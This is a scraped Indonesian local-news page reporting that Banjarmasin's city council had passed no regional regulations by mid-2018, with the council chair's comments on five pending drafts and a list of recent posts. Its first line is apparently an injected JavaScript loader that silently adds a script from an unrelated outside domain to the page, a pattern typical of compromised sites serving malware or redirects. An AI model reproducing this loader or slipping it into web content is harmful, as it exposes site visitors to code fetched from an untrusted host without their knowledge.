(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Duh, Belum Satu Pun Perda Berhasil Digolkan DPRD Banjarmasin


BANJARMASIN, Sejumlah Rancangan Peraturan Daerah (Rapaerda) di Banjarmasin hingga pertengahan 2018 ini ternyata tak satu pun berhasil digolkan oleh DPRD Banjarmasin. Ketua DPRD Hj Ananda mengakui, pihaknya masih terhutang penyelesaian lima Raperda dari kurun waktu 2017 hingga tahun ini.

“Sudah saya inventalisir Raperda yang belum kita selesaikan pembahasannya untuk disahkan menjadi Perda itu ada lima, dua Raperda di tahun 2017 dan tiga Raperda di tahun ini,” ujarnya.

Terkait banyaknya PR yang dihadapi, Ananda selaku unsur pimpinan sudah menyurati para ketua panitia khusus (Pansus) untuk segeranya menyelesaikannya dalam waktu dekat ini. “Jadi saya minta sekretaris dewan untuk menyerahkan surat tersebut kepada Pansus lima Raperda itu harus ada tanda terimanya, agar jelas menjadi perhatian mereka,” jelasnya.

Dia menginginkan ada penjelasan yang lengkap hingga tertundanya Raperda itu disahkan menjadi Perda, di mana waktunya terus diulur.

“Kendalanya di mana, harus kita pecahkan bersama, sehingga tidak menjadi Raperda yang sia-sia, dimana akhirnya tidak ada tindaklanjutnya,” ujar Ananda.

Ananda mengakui, hingga pertengahan tahun ini belum ada satu pun Raperda yang sudah disahkan menjadi Perda, salah satu sebabnya konsultasi di tingkat provensi belum selesai. “Kita tidak tahu juga seperti apa prosesnya di tingkat provinsi itu, tapi kita sangka Pemprov berhati-hati menyetujui sebuah Raperda untuk disahkan menjadi Perda agar tidak menyalahi aturan diatasnya,” kata Ananda.

Sebagaimana diketahui, prolegda DPRD Kota Banjarmasin untuk tahun 2018 ini ada sebanyak 20 Raperda, di mana ada dua tambahan Raperda diajukan pemerintah kota kembali yang sudah diparipurnakan pekan tadi untuk dibahas ketingkat selanjutnya.

Dua Raperda inisiatif Pemkot tersebut adalah Raperda rencana pencegahan dan peningkatan kualitas perumahan kumuh dan pemukiman di Kota Banjarmasin dan Raperda revisi Peraturan Daerah (Perda) nomor 23 tahun 2010 tentang pedoman penyelenggaraan lembaga kemsyarakatan Rukun Tetangga (RT) dan Rukun Warga (RW) Kota Banjarmasin.

“Kita harap Pansus kedua Raperda ini secepatnya menyelesaikannya nanti, sebab kedua Raperda ini dinyatakan Pemkot sangat untuk disahkan menjadi Perda,” pungkasnya.(ammar/ant)

Reporter:Ammar/ant
Editor: Cell

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

4 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

6 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

7 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

8 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.